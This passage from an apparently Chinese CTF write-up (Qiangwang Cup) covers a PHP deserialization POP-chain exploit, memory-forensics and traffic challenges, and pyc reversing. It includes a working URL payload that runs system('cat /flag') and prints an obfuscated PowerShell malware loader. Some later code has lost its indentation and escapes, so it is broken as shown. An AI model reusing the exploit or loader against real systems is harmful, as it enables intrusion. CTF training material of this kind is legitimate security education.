'$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
#print(s + q)
if ee != 1:
asb(q, s, s11)
if ran_str == '':
exit()
print(s1 + '$' + ran_str + ';')


def test(d):
#if name in {'Name','COiLxB'}:
#print('nono')
#exit()
try:
a=d[
'children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name']
b=d[
'children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name']
c=d[
'children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name']
if(a==b and b!=c and a!='DgiNa'): #判断赋值是否是用不存在的变量覆盖传参

print(a,b,c)
print('no')
asb(
'YYdqkf', 'YYdqkf' + '-->')#重新搜索
os._exit(
0)

except:
pass
asb(
'YYdqkf','YYdqkf'+'-->')
编写脚本处理AST

随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链

图片.png
ps:例图输出与下面代码无关 找不到成功的图了

<?php
此处省略3M大小的源class
$a=new WK4tcG();
$prXsQMfO=new WK4tcG();
$DLcTtAga=new xaeGnG();
$lcbgRpGI=new oAMzcx();
$IatldcbW=new p38LCI();
$nULgbaKw=new GbfW4c();
$ASyQaYMV=new m2s3zO();
$GMwztlCS=new PgSSqR();
$MegPsOnX=new RLuIRL();
$neJOwgfu=new WykBAC();
$PNHChDce=new g6hgDh();
$BzceWjKp=new HDaeRV();
$YThMXwcb=new bREm3w();
$xWVjhwmO=new D0aZh5();
$BIbCvgZD=new T9NX4U();
$prvhXPMW=new eWciOL();
$NVHbgdzD=new TqWDlm();
$mszgihWC=new XoFA87();
$vDBkPwqO=new MU1ai5();
$ZYHhsIid=new eHtdBF();
$ZYHhsIid->V7XKdgi=new DNUWgV();
$vDBkPwqO->zXEmp6T=$ZYHhsIid;
$mszgihWC->z35pfqP=$vDBkPwqO;
$NVHbgdzD->KGgGFnb=$mszgihWC;
$prvhXPMW->D6qeYVK=$NVHbgdzD;
$BIbCvgZD->UwQCEH2=$prvhXPMW;
$xWVjhwmO->ST8sCZq=$BIbCvgZD;
$YThMXwcb->pMgtiwK=$xWVjhwmO;
$BzceWjKp->OO72gIu=$YThMXwcb;
$PNHChDce->GYBlHLq=$BzceWjKp;
$neJOwgfu->yWYNYcP=$PNHChDce;
$MegPsOnX->dFy0Irz=$neJOwgfu;
$GMwztlCS->Cs99EPC=$MegPsOnX;
$ASyQaYMV->QidIkAq=$GMwztlCS;
$nULgbaKw->gE4DrP9=$ASyQaYMV;
$IatldcbW->OksedLV=$nULgbaKw;
$lcbgRpGI->SUxaKsh=$IatldcbW;
$DLcTtAga->u3832FP=$lcbgRpGI;
$a->fBuH5Og=$DLcTtAga;
//$a = $_GET['pop'];
$b = $_GET['argv'];
echo serialize($a);
//$a = unserialize($a);
//var_dump($a);
$a->YYdqkf($b);
?>

生成序列化文本
?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//
访问即可getflag
图片.png

Misc

1.签到

第五届强网杯全国网络安全挑战赛writeup第55张

flag{welcome_to_qwb_s5}

2.BlueTeaming

Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?(本题flag为非正式形式)

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

首先使用 volatility 将内存中的 register hive 导出来.

volatility -f memory.dmp --profile Win7SP1x64 hivelist
volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D .

第五届强网杯全国网络安全挑战赛writeup第56张

题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 等等,最终能够找到恶意软件存放的注册表位置

搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication

第五届强网杯全国网络安全挑战赛writeup第57张

恶意脚本是

& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT  SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()

flag是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

3.CipherMan

The attacker maliciously accessed the user’s PC and encrypted specific volumes. How to decrypt the volume?(本题flag为非正式形式)

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

第五届强网杯全国网络安全挑战赛writeup第58张

volatility -f memory imageinfo

第五届强网杯全国网络安全挑战赛writeup第59张

volatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt'

第五届强网杯全国网络安全挑战赛writeup第60张

volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./

第五届强网杯全国网络安全挑战赛writeup第61张
第五届强网杯全国网络安全挑战赛writeup第62张

第五届强网杯全国网络安全挑战赛writeup第63张

BitLocker 드라이브 암호화 복구 키
 복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100

BitLocker驱动器加密恢复键
恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。
如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。
恢复密钥ID:168F1291-82C1-4B
整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker恢复键:
221628-533357-667392-449185-516428-718443-190674-375100

DiskGenius 解密

第五届强网杯全国网络安全挑战赛writeup第64张

Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.

找了半天最后发现这个内容就是 flag。。

赛后发现是原题

Digital Forensic Challenge 2018 VOI200 문제 풀이

4.ExtremelySlow

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。

于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。

wireshark 直接导出的 JSON 里 http.response.line 包含多个,如果直接用 json.loads 只保留最后一个了,所以先要去掉无关的内容。

import json
import re

with open('http.json', 'r', encoding='utf-8') as fin:
    s = fin.read()

re_num = re.compile(
    r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"')
re_nonnum = re.compile(
    r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)')
s1 = re.sub(re_nonnum, '', s)

with open('http_sub.json', 'w', encoding='utf-8') as fout:
    fout.write(s1)

http = json.loads(s1)
total = [b''] * 1987
# total = [''] * 1987
idx_list = []
for x in http:
    source = x['_source']
    layers = source['layers']
    # get data
    data = layers['data']['data.data']
    data = bytes([int(data, 16)])
    # find index
    n = layers['http']['http.response.line']
    idx = int(re.search(r'(\d+)-\d+/1987', n)[1])
    idx_list.append(idx)
    total[idx] = data

print(total)
t = b''.join(total)
# t = ''.join(total)
# print(len(t)/2)
with open('decode.pyc', 'wb') as f:
    f.write(t)
# with open('decode1.pyc', 'w') as f:
#     f.write(t)

或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。

按 index 把这个合并就行,bash 脚本类似这样

tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null

根据文件内容得知是个 pyc 文件。

但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。

参考

Python’s magic numbers

Python Uncompyle6 反编译工具使用 与 Magic Number 详解

https://github.com/google/pytype/blob/master/pytype/pyc/magic.py

Understanding Python Bytecode

可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。

于是考虑拉个 py3.10 的镜像下来。

docker run --rm -it  python:3.10.0b2

根据 magic number 确定就是最新的 Python 3.10.0b2

第五届强网杯全国网络安全挑战赛writeup第65张

但还是需要反编译这个pyc

uncompyle6 https://pypi.org/project/uncompyle6/ 目前只支持 python 2.4-3.8

https://github.com/rocky/python-decompile3 不行

dis 可

>>> import marshal, dis
>>> with open('decode.pyc','rb') as f:
...     metadata = f.read(16)
...     code_obj = marshal.load(f)
... 
>>> dis.dis(code_obj)
  4           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (sys)
              6 STORE_NAME               0 (sys)

  6           8 LOAD_CONST               0 (0)
             10 LOAD_CONST               2 (('sha256',))
             12 IMPORT_NAME              1 (hashlib)
             14 IMPORT_FROM              2 (sha256)
             16 STORE_NAME               2 (sha256)
             18 POP_TOP

 16          20 LOAD_CONST               3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>)
             22 LOAD_CONST               4 ('KSA')
             24 MAKE_FUNCTION            0
             26 STORE_NAME               3 (KSA)

 26          28 LOAD_CONST               5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>)
             30 LOAD_CONST               6 ('PRGA')
             32 MAKE_FUNCTION            0
             34 STORE_NAME               4 (PRGA)

 30          36 LOAD_CONST               7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>)
             38 LOAD_CONST               8 ('RC4')
             40 MAKE_FUNCTION            0
             42 STORE_NAME               5 (RC4)

 33          44 LOAD_CONST               9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>)
             46 LOAD_CONST              10 ('xor')
             48 MAKE_FUNCTION            0
             50 STORE_NAME               6 (xor)

 34          52 LOAD_NAME                7 (__name__)
             54 LOAD_CONST              11 ('__main__')
             56 COMPARE_OP               2 (==)
             58 POP_JUMP_IF_FALSE      139 (to 278)

 35          60 LOAD_CONST              12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f')
             62 STORE_NAME               8 (w)

 38          64 LOAD_CONST              13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~')
             66 STORE_NAME               9 (e)

 39          68 LOAD_CONST              14 (b'geo')
             70 STORE_NAME              10 (b)

 41          72 LOAD_CONST              15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141')
             74 STORE_NAME              11 (s)

 42          76 LOAD_CONST              16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1")
             78 STORE_NAME              12 (t)

 43          80 LOAD_CONST              17 (115)
             82 LOAD_CONST              18 (97)
             84 LOAD_CONST              19 (117)
             86 LOAD_CONST              20 (114)
             88 LOAD_CONST              21 ((2, 8, 11, 10))
             90 BUILD_CONST_KEY_MAP      4
             92 STORE_NAME              13 (m)

 44          94 LOAD_CONST              22 (119)
             96 LOAD_CONST              23 (116)
             98 LOAD_CONST              24 (124)
            100 LOAD_CONST              25 (127)
            102 LOAD_CONST              26 ((3, 7, 9, 12))
            104 BUILD_CONST_KEY_MAP      4
            106 STORE_NAME              14 (n)

 45         108 LOAD_NAME               13 (m)
            110 LOAD_CONST              27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>)
            112 LOAD_CONST              28 ('<dictcomp>')
            114 MAKE_FUNCTION            0
            116 LOAD_NAME               14 (n)
            118 GET_ITER
            120 CALL_FUNCTION            1
            122 INPLACE_OR
            124 STORE_NAME              13 (m)

 47         126 LOAD_NAME               13 (m)
            128 LOAD_CONST              29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>)
            130 LOAD_CONST              30 ('<genexpr>')
            132 MAKE_FUNCTION            0
            134 LOAD_NAME               10 (b)
            136 GET_ITER
            138 CALL_FUNCTION            1
            140 INPLACE_OR
            142 STORE_NAME              13 (m)

 48         144 LOAD_NAME                5 (RC4)
            146 LOAD_NAME               15 (list)
            148 LOAD_NAME               16 (map)
            150 LOAD_CONST              31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>)
            152 LOAD_CONST              32 ('<lambda>')
            154 MAKE_FUNCTION            0
            156 LOAD_NAME               17 (sorted)
            158 LOAD_NAME               13 (m)
            160 LOAD_METHOD             18 (items)
            162 CALL_METHOD              0
            164 CALL_FUNCTION            1
            166 CALL_FUNCTION            2
            168 CALL_FUNCTION            1
            170 CALL_FUNCTION            1
            172 STORE_NAME              19 (stream)

 49         174 LOAD_NAME               20 (print)
            176 LOAD_NAME                6 (xor)
            178 LOAD_NAME                8 (w)
            180 LOAD_NAME               19 (stream)
            182 CALL_FUNCTION            2
            184 LOAD_METHOD             21 (decode)
            186 CALL_METHOD              0
            188 CALL_FUNCTION            1
            190 POP_TOP

 50         192 LOAD_NAME                0 (sys)
            194 LOAD_ATTR               22 (stdin)
            196 LOAD_ATTR               23 (buffer)
            198 LOAD_METHOD             24 (read)
            200 CALL_METHOD              0
            202 STORE_NAME              25 (p)

 52         204 LOAD_NAME                6 (xor)
            206 LOAD_NAME                9 (e)
            208 LOAD_NAME               19 (stream)
            210 CALL_FUNCTION            2
            212 STORE_NAME               9 (e)

 53         214 LOAD_NAME                6 (xor)
            216 LOAD_NAME               25 (p)
            218 LOAD_NAME               19 (stream)
            220 CALL_FUNCTION            2
            222 STORE_NAME              26 (c)

 54         224 LOAD_NAME                2 (sha256)
            226 LOAD_NAME               26 (c)
            228 CALL_FUNCTION            1
            230 LOAD_METHOD             27 (digest)
            232 CALL_METHOD              0
            234 LOAD_NAME               11 (s)
            236 COMPARE_OP               2 (==)
            238 POP_JUMP_IF_FALSE      131 (to 262)

 56         240 LOAD_NAME               20 (print)
            242 LOAD_NAME                6 (xor)
            244 LOAD_NAME               12 (t)
            246 LOAD_NAME               19 (stream)
            248 CALL_FUNCTION            2
            250 LOAD_METHOD             21 (decode)
            252 CALL_METHOD              0
            254 CALL_FUNCTION            1
            256 POP_TOP
            258 LOAD_CONST               1 (None)
            260 RETURN_VALUE

 33     >>  262 LOAD_NAME               20 (print)
            264 LOAD_NAME                9 (e)
            266 LOAD_METHOD             21 (decode)
            268 CALL_METHOD              0
            270 CALL_FUNCTION            1
            272 POP_TOP
            274 LOAD_CONST               1 (None)
            276 RETURN_VALUE
        >>  278 LOAD_CONST               1 (None)
            280 RETURN_VALUE

Disassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>:
  8           0 LOAD_GLOBAL              0 (len)
              2 LOAD_FAST                0 (key)
              4 CALL_FUNCTION            1
              6 STORE_FAST               1 (keylength)

  9           8 LOAD_GLOBAL              1 (list)
             10 LOAD_GLOBAL              2 (range)
             12 LOAD_CONST               1 (256)
             14 CALL_FUNCTION            1
             16 CALL_FUNCTION            1
             18 STORE_FAST               2 (S)

 10          20 LOAD_CONST               2 (0)
             22 STORE_FAST               3 (j)

 11          24 LOAD_GLOBAL              2 (range)
             26 LOAD_CONST               1 (256)
             28 CALL_FUNCTION            1
             30 GET_ITER
        >>   32 FOR_ITER                29 (to 92)
             34 STORE_FAST               4 (i)

 12          36 LOAD_FAST                3 (j)
             38 LOAD_FAST                2 (S)
             40 LOAD_FAST                4 (i)
             42 BINARY_SUBSCR
             44 BINARY_ADD
             46 LOAD_FAST                0 (key)
             48 LOAD_FAST                4 (i)
             50 LOAD_FAST                1 (keylength)
             52 BINARY_MODULO
             54 BINARY_SUBSCR
             56 BINARY_ADD
             58 LOAD_CONST               1 (256)
             60 BINARY_MODULO
             62 STORE_FAST               3 (j)

 13          64 LOAD_FAST                2 (S)
             66 LOAD_FAST                3 (j)
             68 BINARY_SUBSCR
             70 LOAD_FAST                2 (S)
             72 LOAD_FAST                4 (i)
             74 BINARY_SUBSCR
             76 ROT_TWO
             78 LOAD_FAST                2 (S)
             80 LOAD_FAST                4 (i)
             82 STORE_SUBSCR
             84 LOAD_FAST                2 (S)
             86 LOAD_FAST                3 (j)
             88 STORE_SUBSCR
             90 JUMP_ABSOLUTE           16 (to 32)
        >>   92 LOAD_FAST                2 (S)
             94 RETURN_VALUE

Disassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>:
 17           0 GEN_START                0

 18           2 LOAD_CONST               1 (0)
              4 STORE_FAST               1 (i)

 19           6 LOAD_CONST               1 (0)
              8 STORE_FAST               2 (j)

 20          10 NOP

 21     >>   12 LOAD_FAST                1 (i)
             14 LOAD_CONST               3 (1)
             16 BINARY_ADD
             18 LOAD_CONST               4 (256)
             20 BINARY_MODULO
             22 STORE_FAST               1 (i)

 22          24 LOAD_FAST                2 (j)
             26 LOAD_FAST                0 (S)
             28 LOAD_FAST                1 (i)
             30 BINARY_SUBSCR
             32 BINARY_ADD
             34 LOAD_CONST               4 (256)
             36 BINARY_MODULO
             38 STORE_FAST               2 (j)

 23          40 LOAD_FAST                0 (S)
             42 LOAD_FAST                2 (j)
             44 BINARY_SUBSCR
             46 LOAD_FAST                0 (S)
             48 LOAD_FAST                1 (i)
             50 BINARY_SUBSCR
             52 ROT_TWO
             54 LOAD_FAST                0 (S)
             56 LOAD_FAST                1 (i)
             58 STORE_SUBSCR
             60 LOAD_FAST                0 (S)
             62 LOAD_FAST                2 (j)
             64 STORE_SUBSCR

 24          66 LOAD_FAST                0 (S)
             68 LOAD_FAST                0 (S)
             70 LOAD_FAST                1 (i)
             72 BINARY_SUBSCR
             74 LOAD_FAST                0 (S)
             76 LOAD_FAST                2 (j)
             78 BINARY_SUBSCR
             80 BINARY_ADD
             82 LOAD_CONST               4 (256)
             84 BINARY_MODULO
             86 BINARY_SUBSCR
             88 STORE_FAST               3 (K)

 19          90 LOAD_FAST                3 (K)
             92 YIELD_VALUE
             94 POP_TOP
             96 JUMP_ABSOLUTE            6 (to 12)

Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>:
 28           0 LOAD_GLOBAL              0 (KSA)
              2 LOAD_FAST                0 (key)
              4 CALL_FUNCTION            1
              6 STORE_FAST               1 (S)
              8 LOAD_GLOBAL              1 (PRGA)
             10 LOAD_FAST                1 (S)
             12 CALL_FUNCTION            1
             14 RETURN_VALUE

Disassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>:
 31           0 LOAD_GLOBAL              0 (bytes)
              2 LOAD_GLOBAL              1 (map)
              4 LOAD_CLOSURE             0 (stream)
              6 BUILD_TUPLE              1
              8 LOAD_CONST               1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>)
             10 LOAD_CONST               2 ('xor.<locals>.<lambda>')
             12 MAKE_FUNCTION            8 (closure)
             14 LOAD_FAST                0 (p)
             16 CALL_FUNCTION            2
             18 CALL_FUNCTION            1
             20 RETURN_VALUE

Disassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>:
          0 LOAD_FAST                0 (x)
          2 LOAD_DEREF               0 (stream)
          4 LOAD_METHOD              0 (__next__)
          6 CALL_METHOD              0
          8 BINARY_XOR
         10 RETURN_VALUE

Disassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>:
          0 BUILD_MAP                0
          2 LOAD_FAST                0 (.0)
    >>    4 FOR_ITER                 9 (to 24)
          6 STORE_FAST               1 (x)
          8 LOAD_FAST                1 (x)
         10 LOAD_FAST                1 (x)
         12 LOAD_GLOBAL              0 (n)
         14 LOAD_FAST                1 (x)
         16 BINARY_SUBSCR
         18 BINARY_XOR
         20 MAP_ADD                  2
         22 JUMP_ABSOLUTE            2 (to 4)
    >>   24 RETURN_VALUE

Disassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>:
          0 GEN_START                0
          2 LOAD_FAST                0 (.0)
    >>    4 FOR_ITER                 9 (to 24)
          6 STORE_FAST               1 (i)
          8 LOAD_FAST                1 (i)
         10 LOAD_METHOD              0 (bit_count)
         12 CALL_METHOD              0
         14 LOAD_FAST                1 (i)
         16 BUILD_TUPLE              2
         18 YIELD_VALUE
         20 POP_TOP
         22 JUMP_ABSOLUTE            2 (to 4)
    >>   24 LOAD_CONST               0 (None)
         26 RETURN_VALUE

Disassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>:
          0 LOAD_FAST                0 (x)
          2 LOAD_CONST               1 (1)
          4 BINARY_SUBSCR
          6 RETURN_VALUE

人工手动逆向得到对应 python 代码大概如下

(有些地方没有完全按照字节码来写

import sys
from hashlib import sha256

w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'    

e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo'

s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}

def KSA(key):
    keylength = len(key)

    S = list(range(256))

    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]

    return S

def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]

        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(key):
    S = KSA(key)
    return PRGA(S)

def xor(p,stream):
    return bytes(map(lambda x:x ^ stream.__next__(), p))

# n = {2:115, 8:97, 11:117, 10:114}
# x:x^n[x] -> <dictcomp> 
m |= {x: x^n[x] for x in n}
m |= ((i.bit_count(), i) for i in b)
stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))
# print welcome banner...
# print(stream)

print(xor(w, stream).decode())
p = sys.stdin.buffer.readline()
e = xor(e, stream)
# print(e)
c = xor(p, stream)

if sha256(c).digest() != s:  # error
    print(e.decode())
    exit()

print(xor(t, stream))  # true?

大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据

可以发现,输入长度为 26 的时候,会提示说 Congratulations! Now you should now what the flag is,这个就是 t 的解密结果。而其他情况都不能正确解码。

于是就去找哪里还有这个输入。

然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。

一文让你完全弄懂Stegosaurus

https://github.com/AngelKitty/stegosaurus

需要魔改一下 header,python 3.10 长度是16.

第五届强网杯全国网络安全挑战赛writeup第66张

另外输出的话不用转 str,直接 bytes 就好了。

第五届强网杯全国网络安全挑战赛writeup第67张

或者脚本

result=""
with open("py.txt","r") as f:
for line in f.readlines():
if line:
result+=line.strip()
print(result)


可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag

w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f'
e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~'
b = b'geo'
s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141'
t = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K

def RC4(key):
S = KSA(key)
return PRGA(S)

def xor(p,stream):
return bytes(map(lambda x:x ^ stream.__next__(), p))
m.update({x:x^n[x] for x in n})
mm = {5:103,4:101,6:111}
m.update(mm)
stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))
banner = xor(w, stream).decode()
wrong = xor(e, stream).decode()
pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'
result = xor(pp, stream)
print(xor(t, stream))
print(result)

得到长度为 26 的 bytes

b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'

最后将这个作为输入,然后让上述代码的 c 打印出来,即为 flag

flag{P0w5rFu1_0pEn_50urcE}

5.ISO1995

We follow ISO1995. ISO1995 has many problems though. One known problem is a time.

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

下载下来以 iso9660 挂载

mount -t iso9660 iso1995 /mnt/随便一个目录

发现有一堆名为 flag_fxxxxx (xxxx为数字)的文件。

用 ultraISO 把文件导出来,发现每个文件只有一个字符。

另外根据题目提示,查看 hex 发现他每个文件名之前的 FFFFFFFF 之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。

第五届强网杯全国网络安全挑战赛writeup第68张

于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。

import re

with open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin:
    s = fin.read()

s = s.strip().replace(' ', '').replace('\n', '')
print(s)

# FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001
# FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001
# FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001

re_num = re.compile(
    r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})')

l = re_num.findall(s)

len(l)
# 1024

filename_list = []
for i in l:
    name = int(i[0], 16)
    # print(name)
    filename_list.append(name)

decode_str2 = ''
for i in filename_list:
    filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}'
    with open(filename, 'r', encoding='utf-8') as f:
        x = f.read()
        print(x)
        decode_str2 += x
print(decode_str2)

